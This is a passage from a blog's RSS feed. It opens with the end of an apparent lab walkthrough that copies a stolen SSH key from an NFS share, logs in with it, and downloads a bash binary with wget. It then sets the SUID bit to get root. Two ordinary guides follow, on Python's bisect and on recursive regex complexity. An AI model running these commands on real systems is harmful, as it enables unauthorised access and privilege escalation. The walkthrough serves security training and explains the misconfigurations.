</span></span><span class="line"><span class="ln">5</span><span class="cl">root@ip-10-10-71-105:~# cp id_rsa /<span class="nv">$local_folder</span></span></span></code></pre></div>
<p><img src="privatekey_transfer.png" alt="image"></p>
<h4 id="ssh-login-with-stolen-key">SSH Login with Stolen Key</h4>
<p>After locating an SSH private key, it is simple to extract it using the NFS server by copying it from the shared drive to a local directory on the attack box. This file allows us to authenticate and gain access to the remote user&rsquo;s account through SSH, giving us direct access to a user account on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# ssh -i id_rsa cappucino@<span class="nv">$IP</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>At this point the victim server has been compromised and we&rsquo;ve established a foothold in their infrastructure. Our next steps will involve escalating privileges and gaining persistence on the host to further cement our control.</p>
      </div>
  </div><h3 id="super-user-privilege-escalation-via-suid-exploit">Super User Privilege Escalation via SUID Exploit</h3>
<h4 id="uploading-malicious-script">Uploading Malicious Script</h4>
<p>Since we have 2 way connection, we can now upload anything we want to the server through the shared drive connection. We will upload a simple bash executable which we will use to escalate privileges and gain super user access on the server.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash</span></span></code></pre></div>
<h4 id="suid-permission-modification">SUID Permission Modification</h4>
<p>After placing the script on the target machine we can set its SUID (Set User ID) bit. This allowed the script to run with elevated (root) privileges, regardless of the user executing it.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# sudo chmod +sx bash
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino# ls -la bash
</span></span><span class="line"><span class="ln">3</span><span class="cl">    -rwsr-sr-x <span class="m">1</span> root root <span class="m">1113504</span> Oct  <span class="m">4</span> 04:42 bash</span></span></code></pre></div>
<p><img src="bash_transfer.png" alt="image"></p>
<h4 id="escalating-to-superuser-privileges">Escalating to Superuser Privileges</h4>
<p>Executed the modified SUID script to escalate privileges from the standard user to the superuser (root). This provided full control over the target system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">cappucino@polonfs:~$ ./bash -p
</span></span><span class="line"><span class="ln">2</span><span class="cl">bash-4.4# whoami
</span></span><span class="line"><span class="ln">3</span><span class="cl">&gt; root</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Success</span>
    </div>
      <div class="admonition-content">
        <p>Now we have complete control over the victim server with super user access. Our next steps would be to establish persistence and scan for other devices on the network to initiate lateral movement.</p>
      </div>
  </div><h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>NFS Security Misconfigurations</strong>:
Exposed NFS shares without proper access controls can be a critical vulnerability, allowing unauthorized mounting and file access.</p>
</li>
<li>
<p><strong>SUID Misconfigurations</strong>:
SUID permissions on scripts and binaries can be exploited to gain elevated privileges, especially if the target does not enforce proper file permissions.</p>
</li>
</ul>
]]></content:encoded></item><item><title>Binary Search in Python</title><link>https://michaelmuratov.com/blog/artifacts/guides/binary-search-python/</link><pubDate>Sun, 27 Jun 2021 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/binary-search-python/</guid><description>&lt;p&gt;I always get anxious when I see a problem that involves a sorted list because I know that it’ll inevitably involve using binary search.&lt;/p&gt;
&lt;p&gt;This fear is completely irrational, and I always kick myself for feeling this way because binary search is beautiful. Given a sorted list you can find the index of any value in log(N) time because you get to cut your search space in half with every lookup.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I always get anxious when I see a problem that involves a sorted list because I know that it’ll inevitably involve using binary search.</p>
<p>This fear is completely irrational, and I always kick myself for feeling this way because binary search is beautiful. Given a sorted list you can find the index of any value in log(N) time because you get to cut your search space in half with every lookup.</p>

<div><img src="table.webp" 
		 class="img-preset img-preset-md" width="600" height="400">

	<figcaption style="margin:0px;" class="figure-caption">
		geeksforgeeks.org/binary-search
	</figcaption>
</div>

<p>Precisely this operation allows sorted lists to be very space and time efficient at solving problems requiring lookups as well as determining how many entries are greater or less than your target.</p>
<p>Now if you want to take advantage of your sorted lists you may be tempted to write your own binary search and insert functions like I’ve been doing so far and inevitably it takes a few tries to actually get it working right. Thankfully there’s a built in library that already does the same thing, in a single line and a lot faster too.</p>
<h3 id="bisect">Bisect</h3>
<p>The bisect library is a tiny one, but it does two things and it does them well; <strong>search</strong> and <strong>insert</strong>.</p>
<p>For search we have <strong>bisect_left</strong> and <strong>bisect_right</strong> which perform binary search to find where to insert a value right before our target on either the left or right. In the case of <strong>bisect_right</strong> it will overshoot by one index to show you where you should insert your new value to maintain order.</p>
<p>list: [1,2,3,4,5], target = 4</p>
<ul>
<li><strong>bisect_left</strong>: [1,2,3, _ , 4,5] index= 3</li>
<li><strong>bisect_right</strong>: [1,2,3,4, _ ,5] index= 3+1</li>
</ul>
<p>For insertion we have <strong>insort_left</strong> and <strong>insort_right</strong> which perform binary insert to actually insert our value on either the left or the right of our target and manipulates our list inplace.</p>
<ul>
<li><strong>insort_left</strong>: [1,2,3, 4 ,4,5] inserted index= 3</li>
<li><strong>insort_right</strong>: [1,2,3,4, 4 ,5] inserted index= 3+1</li>
</ul>
<p>Apart from <strong>bisect</strong> and insort which are equivalent in function to <strong>bisect_right</strong> and <strong>insort_right</strong> respectivly, these are the only functions available in this library. However they completely replace the need to write your own functions for lookups and inserts.</p>
<h3 id="bisect-is-fast">Bisect is Fast</h3>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="k">def</span> <span class="nf">binary_search</span><span class="p">(</span><span class="n">lst</span><span class="p">,</span> <span class="n">target</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">    <span class="n">start</span><span class="p">,</span> <span class="n">end</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">lst</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">while</span> <span class="n">start</span> <span class="o">&lt;=</span> <span class="n">end</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="n">middle</span> <span class="o">=</span> <span class="p">(</span><span class="n">end</span><span class="o">+</span><span class="n">start</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">if</span> <span class="n">target</span> <span class="o">&gt;</span> <span class="n">lst</span><span class="p">[</span><span class="n">middle</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">            <span class="n">start</span> <span class="o">=</span> <span class="n">middle</span> <span class="o">+</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">elif</span> <span class="n">target</span> <span class="o">&lt;</span> <span class="n">lst</span><span class="p">[</span><span class="n">middle</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">            <span class="n">end</span> <span class="o">=</span> <span class="n">middle</span> <span class="o">-</span> <span class="mi">1</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="k">return</span> <span class="n">middle</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span></span></span></code></pre></div>
<p>And here’s a binary race between it and bisect. We’ll be looking for value 0 because ironically it will take the longest to find with binary search since 0 is never in the middle of anything.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1">#list and target</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">input_list</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1000000</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">target</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="c1">#my binary search</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">index</span> <span class="o">=</span> <span class="n">binary_search</span><span class="p">(</span><span class="n">input_list</span><span class="p">,</span> <span class="n">target</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">duration</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;search found </span><span class="si">{}</span><span class="s2"> at index </span><span class="si">{}</span><span class="s2"> in </span><span class="si">{}</span><span class="s2"> seconds&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">target</span><span class="p">,</span><span class="n">index</span><span class="p">,</span><span class="n">duration</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1">#bisect binary search</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">index</span> <span class="o">=</span> <span class="n">bisect</span><span class="o">.</span><span class="n">bisect_left</span><span class="p">(</span><span class="n">input_list</span><span class="p">,</span> <span class="n">target</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">if</span> <span class="n">index</span> <span class="o">==</span> <span class="nb">len</span><span class="p">(</span><span class="n">input_list</span><span class="p">)</span> <span class="ow">or</span> <span class="n">input_list</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">!=</span> <span class="n">target</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">index</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">duration</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;bisect found </span><span class="si">{}</span><span class="s2"> at index </span><span class="si">{}</span><span class="s2"> in </span><span class="si">{}</span><span class="s2"> seconds&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">target</span><span class="p">,</span><span class="n">index</span><span class="p">,</span><span class="n">duration</span><span class="p">))</span></span></span></code></pre></div>
<ul>
<li>search found 0 at index 0 in <strong>1.6927719116210938e-05 seconds</strong></li>
<li>bisect found 0 at index 0 in <strong>2.6226043701171875e-06 seconds</strong></li>
</ul>
<p>Here we can see that bisect is <strong>6</strong> times faster than my implementation</p>
<p>Because bisect is implemented in C it is much faster, though both functions use the exact same algorithm. Python is just a lot slower at adding numbers than C because all numbers in Python are actually Integer classes which in turn take time to call their addition functions whereas in C integers are just 4 byte data types and are processed very efficiently by the CPU. The difference in time can start to compound into a tangible boost in performance when you start doing many lookups or insertions sequentially.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Bisect is a small but useful library that helps maintain sorted order in lists as well as providing lookups in a quick and efficient way. Knowing about its existence can save on both implementation and runtime and it is an indespensible tool for many coding interviews where questions about sorted lists tend to crop up from time to time.</p>
]]></content:encoded></item><item><title>Solving for Recursive Complexity</title><link>https://michaelmuratov.com/blog/artifacts/guides/solving-recursive-complexity/</link><pubDate>Tue, 19 May 2020 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/solving-recursive-complexity/</guid><description>&lt;p&gt;A few days ago I bumped into a question on &lt;a href="https://leetcode.com/"&gt;LeetCode&lt;/a&gt; where I saw a bunch of people scratching their heads. It was question number 10 titled Regular Expression Matching with the difficulty label Hard. The solution to the exercise itself was not intuitive, requiring effective use of previously solved subproblems, but that wasn’t what everyone in the comments were interested in. After all the solution was available for everyone to see.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A few days ago I bumped into a question on <a href="https://leetcode.com/">LeetCode</a> where I saw a bunch of people scratching their heads. It was question number 10 titled Regular Expression Matching with the difficulty label Hard. The solution to the exercise itself was not intuitive, requiring effective use of previously solved subproblems, but that wasn’t what everyone in the comments were interested in. After all the solution was available for everyone to see.</p>
<p>The real intrigue was the calculated but unexplained time complexity for one of the inefficient solutions which only used recursion, minus the dynamic programming. After all, <a href="https://en.wikipedia.org/wiki/Dynamic_programming">dynamic programming</a> makes time and space complexity fairly easy to compute, as long as the solution is correct, it cannot exceed the complexity of all possible subproblems. Before I can get ahead of myself though here’s the outline of the original problem which can also be found here <a href="https://leetcode.com/problems/regular-expression-matching/">https://leetcode.com/problems/regular-expression-matching/</a></p>
<p>If at some point I lose you during the explanation please leave a comment so I can make a revision.</p>
<h3 id="the-problem">The Problem:</h3>
<p>Given an input string (<code>s</code>) and a pattern (<code>p</code>), implement regular expression matching with support for <code>'.'</code> and <code>'*'</code>.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="ln">1</span><span class="cl">&#39;.&#39; Matches any single character.
</span></span><span class="line"><span class="ln">2</span><span class="cl">&#39;*&#39; Matches zero or more of the preceding element.</span></span></code></pre></div>
<p>The matching should cover the <strong>entire</strong> input string (not partial).</p>
<p>Note:</p>
<ul>
<li><code>s</code> could be empty and contains only lowercase letters <code>a-z</code>.</li>
<li><code>p</code> could be empty and contains only lowercase letters <code>a-z</code>, and characters like <code>.</code> or <code>*</code>.</li>
</ul>
<h3 id="some-examples">Some Examples:</h3>
<h4 id="example-1">Example 1</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Input:
</span></span><span class="line"><span class="ln">2</span><span class="cl">s = &#34;abcda&#34;
</span></span><span class="line"><span class="ln">3</span><span class="cl">p = &#34;ab.d&#34;
</span></span><span class="line"><span class="ln">4</span><span class="cl">Output: false
</span></span><span class="line"><span class="ln">5</span><span class="cl">Explanation: The . matches the c but the pattern ends before matching to the entire text.</span></span></code></pre></div>
<h4 id="example-2">Example 2</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Input:
</span></span><span class="line"><span class="ln">2</span><span class="cl">s = &#34;aab&#34;
</span></span><span class="line"><span class="ln">3</span><span class="cl">p = &#34;c*a*b&#34;
</span></span><span class="line"><span class="ln">4</span><span class="cl">Output: true
</span></span><span class="line"><span class="ln">5</span><span class="cl">Explanation: c can be repeated 0 times, a can be repeated 2 times. Therefore, it matches &#34;aab&#34;.</span></span></code></pre></div>
<h4 id="example-3">Example 3</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">Input:
</span></span><span class="line"><span class="ln">2</span><span class="cl">s = &#34;ab&#34;
</span></span><span class="line"><span class="ln">3</span><span class="cl">p = &#34;.*&#34;
</span></span><span class="line"><span class="ln">4</span><span class="cl">Output: true
</span></span><span class="line"><span class="ln">5</span><span class="cl">Explanation: &#34;.*&#34; means &#34;zero or more (*) of any character (.)&#34;.</span></span></code></pre></div>
<p>The examples above summarize the kind of cases you can expect to be dealing with during testing. Because the title of the article is “Solving for Recursive Complexity” and not “How to Solve Recursive Problems” I won’t be going too deeply into how to solve this kind of problem. Instead I will resort to flashing a piece of pseudo code that explains the 3 recursive gates that our algorithm will be passing through on its journey to the end of the piece of text. I’d recommend trying to solve this problem on your own by going to the link I included above, and coming back here once you’ve gained a level of appreciation for this problem, because I’m about to spoil it for you.</p>
<h3 id="solution-pseudo-code">Solution Pseudo-code:</h3>
<p><img src="pseudocode.png" alt="alt text"></p>
<h3 id="quick-explanation">Quick Explanation</h3>
<p>If you’re not very familiar with recursion, this code block might still look very intimidating. The gist is that we’re only doing two things:</p>
<ol>
<li>
<p>checking if the current character of the text matches the pattern and</p>
</li>
<li>
<p>asking if the pattern will match the text if we modify the text a bit or the pattern a bit or both for the remaining characters.</p>
</li>
</ol>
<p>**Line 12: <code>keep_asterisk_match</code> is true if we don’t change the pattern but move along the length of the text (<strong>text[1:]</strong>). This is how <code>*</code> is dealt with in recursion, we simply move on to the next character of the text like the current one never existed and keep the asterisk in the pattern.</p>
<p><strong>Line 17:</strong> <code>skip_asterisk_match</code> is true if the text matches the pattern without the asterisk (<strong>pattern[2:]</strong>) i.e if we match 0 of the preceding element. Remember in Example 2 where c* didn’t have to match anything, and this is also how we jump out of the <code>keep_asterisk_match</code> trap that we made for ourselves earlier.</p>
<p><strong>Line 20</strong>: Once we get an answer for whether we get a match when keeping or skipping the asterisk after <code>keep_asterisk_match</code> and <code>skip_asterisk_match</code> are run we return the result as shown in the OR table below.</p>

<div><img src="logic_table.png" 
		 class="img-preset img-preset-md">

	<figcaption style="margin:0px;" class="figure-caption">
		(https://dyclassroom.com/logic-gate/universal-logic-gate-nor)
	</figcaption>
</div>

<p><strong>Line 24</strong>: If we don’t see an asterisk we check if that first character matched the pattern with <code>character_match</code> and we keep recusing by reducing the input text and pattern by that first matched character (<strong>text[1:], pattern[1:]</strong>) and recursively check if the rest of the string matches.</p>
<p><strong>Line 4</strong>: The final part of recursion which ironically is usually defined at the top of the function, is our recursion rock bottom. If we have an empty pattern and an empty string as our inputs, we have the divine knowledge that the pattern will match the string because empty matches empty for sure. If only one of them is empty we know that there’s no match.</p>
<h3 id="considering-the-complexity">Considering the Complexity</h3>
<p>The time complexity for this question appears to be difficult to pin down. After all, there are two points of recursion and one full stop. And like I said before, the answer to the complexity is given in the solutions with no further explanations. For text of length T and pattern of length P, with the text being indexed at text[i:] and pattern[2j:], the time complexity for this question is….<strong>drum roll</strong></p>
\[
  \sum_{i=0}^{T}\sum_{j=0}^{P/2}\binom{i+j}{i} \space O(T-i) +  \space  O(P-2j)
\]<p>Well, that’s quite something.</p>
<p>Normally you’d expect something like O(T*P) or anything else to that effect and in fact, the solutions do propose a more concise upper bound, again without any explanations (not surprisingly), but we’ll get to that later. For now we have enough on our hands as it is with this piece of work.</p>
<h3 id="linear-vs-exponential-complexity">Linear vs Exponential Complexity</h3>
<p>The reason why the complexity isn’t as simple as it is for something like <a href="https://en.wikipedia.org/wiki/Bubble_sort">bubble sort</a>, is because we’re not making linear passes over our text and pattern. Instead we’re doing things recursively, diving deeper and deeper through sections of our text and pattern and revisiting the same sub problems for what can feel like an arbitrary number of times. The reason I bring up bubble sort, which has O(n²) complexity, is because its complexity decreases in the shape of a pyramid as we sort more and more digits.</p>
<p><img src="pyramid.png" alt="alt text"></p>
<p>On the other hand, recursion has the classic shape of a tree due to the multiple places where the function can call itself.</p>
<p><img src="tree.png" alt="alt text"></p>
<p>The structures look deceptively similar but the crucial difference is that where the pyramid decreases linearly, the tree grows exponentially. This creates a world of a difference when analyzing time and space complexity.</p>
<h3 id="our-worst-case">Our Worst Case</h3>
<p>When analyzing worst case complexity we have to think of the worst case input. Because we have two inputs, text and pattern, I will focus on the pattern because one depends on the other and at least for me it’s easier to think of the rules rather than the results. In this question each new character we add to our pattern can be either a <code>.*</code> or <code>.</code> where <code>.</code> can be any character. From the code it should be pretty clear which choice causes more computation. If we include the <code>*</code> character, our code splits into two streams which must both be computed until inevitably they should return whether there’s a match, meanwhile if we are matching a single character the fun stops pretty quickly as we are only taking a single route, linearly.</p>
<p><img src="pseudocode2.png" alt="alt text"></p>
<p>It looks pretty clear that a worst case pattern would consist of many .* to create as many diverging paths as possible, with a final text character which does or doesn’t match the pattern.</p>
<p><strong>Text: aaaaaaaaaab</strong></p>
<p><strong>Pattern: a*a*a*a*a*a*a*a*a*a*</strong></p>
<p>In this scenario we must get both to the end of the pattern and to the end of the string to determine that there is no match, while branching 2¹⁰ number of times starting from the first index of the text.</p>
<h3 id="visualizing-the-computation">Visualizing the Computation</h3>
<p>In order to figure out the time complexity we have to find how many times each sub-problem had to be computed. Because we are not saving the result like in dynamic programming this will largely contribute to the exploding runtime. Each sub-problem consists of answering whether text[i:] and pattern[2j:] are a match. We use pattern[2j:] because we are using <code>.*</code> repeatedly in our pattern for the worst case, every time we take the <strong>skip_asterisk_matched</strong> path we skip one of the <code>.*</code> which take up two spaces. In order to visualize the two branches of <strong>skip_asterisk_matched</strong> and <strong>keep_asterisk_matched</strong> we will draw a tree diagram to illustrate all the visited sub-problems. Each node will have the format (i,j) for where the text and pattern are indexed at each point in time.</p>
<p><img src="tree_combos.png" alt="alt text"></p>
<p>A quick side note on this, when performing recursion, the algorithm will perform a <a href="https://en.wikipedia.org/wiki/Depth-first_search">depth-first search</a> by taking the left path first on each iteration. This doesn’t make much of a difference though because in the worst case we’ll have to traverse the entire tree anyways. Let’s take an example sub-problem where we want to see if text[2:] and pattern[2:] were a match. This will appear as (2,1) on our tree:</p>
<p>i=2 because we are at text[2:] for the text
j=1 because we are at pattern[2:] which in the worst case means we have only a single <code>.*</code> asterisk that takes up two spaces. Following pattern[2j:] means j=1.</p>
<p><img src="tree_path.png" alt="alt text"></p>
<p>We can see that this sub-problem had been encountered 3 times during computation. The tree format is good for seeing when these sub-problems will be encountered but it’s not very good at determining how many times that will happen.</p>
<h3 id="combinations">Combinations</h3>
<p>The way to systematically consider how many times a sub-problem will be encountered is to consider how come these sub-problems tend to repeat themselves in the first place. In order to arrive at (2,1) on our tree we have to take two lefts and one right.</p>
<p><img src="tree_pathing.png" alt="alt text"></p>
<p>As we can see this can happen in three ways, if we traverse the tree in the sequence LLR, LRL and RLL.</p>
<p><img src="path_block.png" alt="alt text"></p>
<p>In the example of (2,1) we know that we will have 2+1=3 place holders where 2 of the placeholders will be an L and 1 will be an R. In order to find how many combinations are possible we can simply compute 3C2 where out of 3 place holders we will choose 2 to be an L and the rest will automatically be Rs.</p>
<p>That means that for sub-problem (i,j) we have i+j placeholders with i of those being the left side and j being on the right side. This is why the solutions include the combinations symbol for the number of encountered sub-problems (i,j) with (i+j choose i).</p>
\[
  \binom{i+j}{i}
\]<p>Incidentally this is also equivalent to (i+j choose j) because it does not matter whether you are picking which i increments are on the left or instead picking which j increments are on the right, the number of distinct combinations will be the same.</p>
\[
  \binom{i+j}{j}
\]<h3 id="sub-problem-complexity">Sub-Problem Complexity</h3>
<p>Now that we know how many sub-problems of each kind we will encounter, we should figure out how long those individual sub-problem will take to complete. This sort of thing tends to be very easy to do with recursive problems, like in this case where we only really do one thing, compare a single character and store the result in character_match. This might lead you to believe that the runtime for each sub-problem is constant O(1), but in order to call the function we must first supply text[i] and pattern[j:] arguments. If the strings are long, this procedure is not trivial, especially in python where in order to pass in a sub-string a new string must be created. Therefore for each sub-problem there is a constant time O(1) for checking that the character matched, an O(T-i) for passing in the part of the string that we don’t know is a match yet, and an O(P-2j) for passing in the part of the pattern that we don’t know is a match yet. Adding everything together we arrive at the complexity given in the solution.</p>
\[
  \sum_{i=0}^{T}\sum_{j=0}^{P/2}\binom{i+j}{i} \space O(T-i) +  \space  O(P-2j)
\]<h3 id="the-concise-solution">The Concise Solution</h3>
<p>Remember earlier when I said that the solution proposed a more general bound, without the complex combination notation and sigma signs.</p>
<p>Well here it is.</p>
\[
  O((T+P) * 2^{T+\frac{P}{2}})
\]<p>Let’s go through the idea behind this one before we wrap up.</p>
<p>The idea behind making the time complexity into this simplified form is to go overkill on both how many sub problems we could encounter and how long we plan on those sub problems taking to compute.</p>
<h4 id="number-of-sub-problems">Number of Sub-problems</h4>
<p>Instead of using combinations to compute precisely how many sub problems we will encounter, which based on our combinations calculation will be only a portion of our tree’s leaf nodes, let’s just take the entire bottom level of the tree.</p>
<p>Let’s also make the tree completely full with a depth of the maximum number that \(i+j\) can take, which is \((T+\frac{P}{2})\).</p>
<ul>
<li>
<p>T for the length of the text and \(\frac{P}{2}\) for all <code>.*</code> instances in our worst case pattern</p>
</li>
<li>
<p>A tree of depth \((T+\frac{P}{2})\) will have \(2^{(T+\frac{P}{2})}\) nodes at the lowest level.</p>
</li>
</ul>
<p><img src="depth.png" alt="alt"></p>
<p>In the image we can see the previous example of text[2:] and pattern[2:] being computed \(\binom{2+1}{2}\) = 3 times, but since we know that all these examples happen on the same level (because # of Ls+ # of Rs is always 3) we can compute the number of all sub problems on that level which is \(2^{(2+\frac{2}{2})}\) = 2³ = 8.</p>
<p>The number of nodes on the entire level (8 in this case) will always be larger than the \(\binom{i+j}{j}\) nodes (3 in this case), so we can use this calculation in our more general upper bound. So we have determined that our upper bound will assume that we will go through \(2^{(T+\frac{P}{2})}\) subproblems, even though we really never will, but it does make our formula more concise.</p>
<h4 id="sub-problem-complexity-1">Sub-problem Complexity</h4>
<p>Instead of computing how large the arguments will be before we pass them in, let’s just assume we are passing in the entire strings for both the text and pattern. This will give us <strong>O(T+P)</strong> time complexity for each sub-problem, eliminating the need to compute what O(T-i) and O(P-2j) are at every step.</p>
<h4 id="final-answer">Final Answer</h4>
<p>Multiplying the Sub-problem complexity by the number of sub-problems gives us the final answer of:</p>
\[
  O((T+P) * 2^{T+\frac{P}{2}})
\]<h3 id="a-case-for-dynamic-programming">A Case for Dynamic Programming</h3>
<p>This was all incredibly tedious and time consuming on both ours and the computer’s part. At some point you probably thought that computing the same problem (i+j choose i ) times was a bit wasteful and if we just stored that result it would save us a lot of trouble. You’d be right.</p>
<p>There’s only T*P distinct combinations of (i,j), and each takes only constant time to verify, so simply storing all of them in a grid will bump our computation down to a whopping.</p>
\[
  O(TP)
\]<p>I hope you enjoyed this exercise in computational complexity. Seeing as you got to the very end, do give yourself a pat on the back because you deserve it.</p>
]]></content:encoded></item></channel></rss>